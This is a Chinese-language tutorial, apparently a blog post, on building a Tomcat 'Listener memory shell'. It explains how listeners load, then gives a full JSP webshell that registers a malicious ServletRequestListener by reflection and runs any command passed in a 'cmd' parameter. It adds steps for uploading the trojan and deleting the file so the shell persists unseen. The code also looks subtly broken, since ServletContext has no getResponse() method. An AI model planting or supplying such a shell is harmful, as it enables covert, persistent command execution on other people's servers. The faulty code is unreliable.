1. 基本概念
Listener(监听器) 是 Java Web 应用中的组件,用于监听 Web 应用生命周期或作用域对象(如 Session、Request)的变化,并在事件发生时自动执行回调逻辑。
常见的 Listener 类型:
-
ServletContextListener:监听 Web 应用的启动和销毁
-
HttpSessionListener:监听 Session 的创建与销毁
-
ServletRequestListener:监听请求的创建与销毁
Listener 内存马 的原理:
-
在运行时动态注册一个恶意 Listener
-
借助 Listener 生命周期回调(例如请求创建)作为触发点
-
实现任意代码执行或请求劫持
ServletRequestListener 的生命周期
2. Listener 装载流程(开发者视角)
2.1 定义 Listener
package com.example.memshell; import jakarta.servlet.ServletContextEvent; import jakarta.servlet.ServletContextListener; public class MyListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { System.out.println("Web 应用启动!"); } @Override public void contextDestroyed(ServletContextEvent sce) { System.out.println("Web 应用销毁!"); } }
2.2 配置 web.xml
<listener> <listener-class>com.example.memshell.MyListener</listener-class> </listener>
2.3 Tomcat 加载
-
启动时,Tomcat 解析
web.xml
-
创建并注册
MyListener
-
在应用启动/关闭时触发对应的回调方法
3. Tomcat Listener 加载流程(容器内部机制)
3.1 Web 应用启动
-
Tomcat 在解析
web.xml
时,遇到<listener>
节点 -
调用
StandardContext.addApplicationListener()
注册
3.2 Listener 存储
-
Listener 被封装成
ApplicationListener
对象 -
存放在
StandardContext.applicationListeners
列表中
3.3 事件触发
-
当容器或作用域对象发生事件时,Tomcat 遍历 Listener 列表
-
调用对应回调方法(如
contextInitialized
、requestDestroyed
等)
4. 内存马实现机制
实现步骤:
-
定义恶意 Listener(例如请求时执行命令)
-
获取 StandardContext(与前两篇方法相同,通过反射)
-
调用 addApplicationListener() 注册恶意 Listener
-
等待事件触发,即可在请求到达时或 Session 创建时执行恶意逻辑
5. 示例代码(JSP Listener 内存马)
<%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="javax.servlet.*" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! // 恶意 Listener public class ShellListener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { try { String cmd = sre.getServletRequest().getParameter("cmd"); if (cmd != null) { Process proc = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader( new InputStreamReader(proc.getInputStream())); String line; while ((line = br.readLine()) != null) { sre.getServletRequest().getServletContext() .getResponse().getWriter().println(line); } br.close(); } } catch (Exception e) { e.printStackTrace(); } } @Override public void requestDestroyed(ServletRequestEvent sre) {} } %> <% // 1. 获取 StandardContext ServletContext servletContext = request.getServletContext(); Field appCtxField = servletContext.getClass().getDeclaredField("context"); appCtxField.setAccessible(true); ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext); Field stdCtxField = appCtx.getClass().getDeclaredField("context"); stdCtxField.setAccessible(true); StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx); // 2. 注册恶意 Listener standardContext.addApplicationListener(ShellListener.class.getName()); %>
6. 触发步骤
-
上传 JSP 木马至目标服务器
-
访问 JSP 文件 → 动态注册恶意 Listener
-
触发事件:
-
请求到达时(
ServletRequestListener
) -
或 Session 创建时(
HttpSessionListener
)
-
-
恶意逻辑执行,例如命令执行或请求劫持
-
(可选)删除 JSP 文件,Listener 仍然存在
7. 总结
-
Listener 内存马 通过 事件回调 机制触发恶意逻辑
-
与 Servlet/Filter 内存马不同:
-
Servlet:绑定 URL,显式访问触发
-
Filter:请求链入口,所有请求都会过
-
Listener:事件驱动,被动触发,更加隐蔽
-
-
关键 API:
StandardContext.addApplicationListener()
-
优势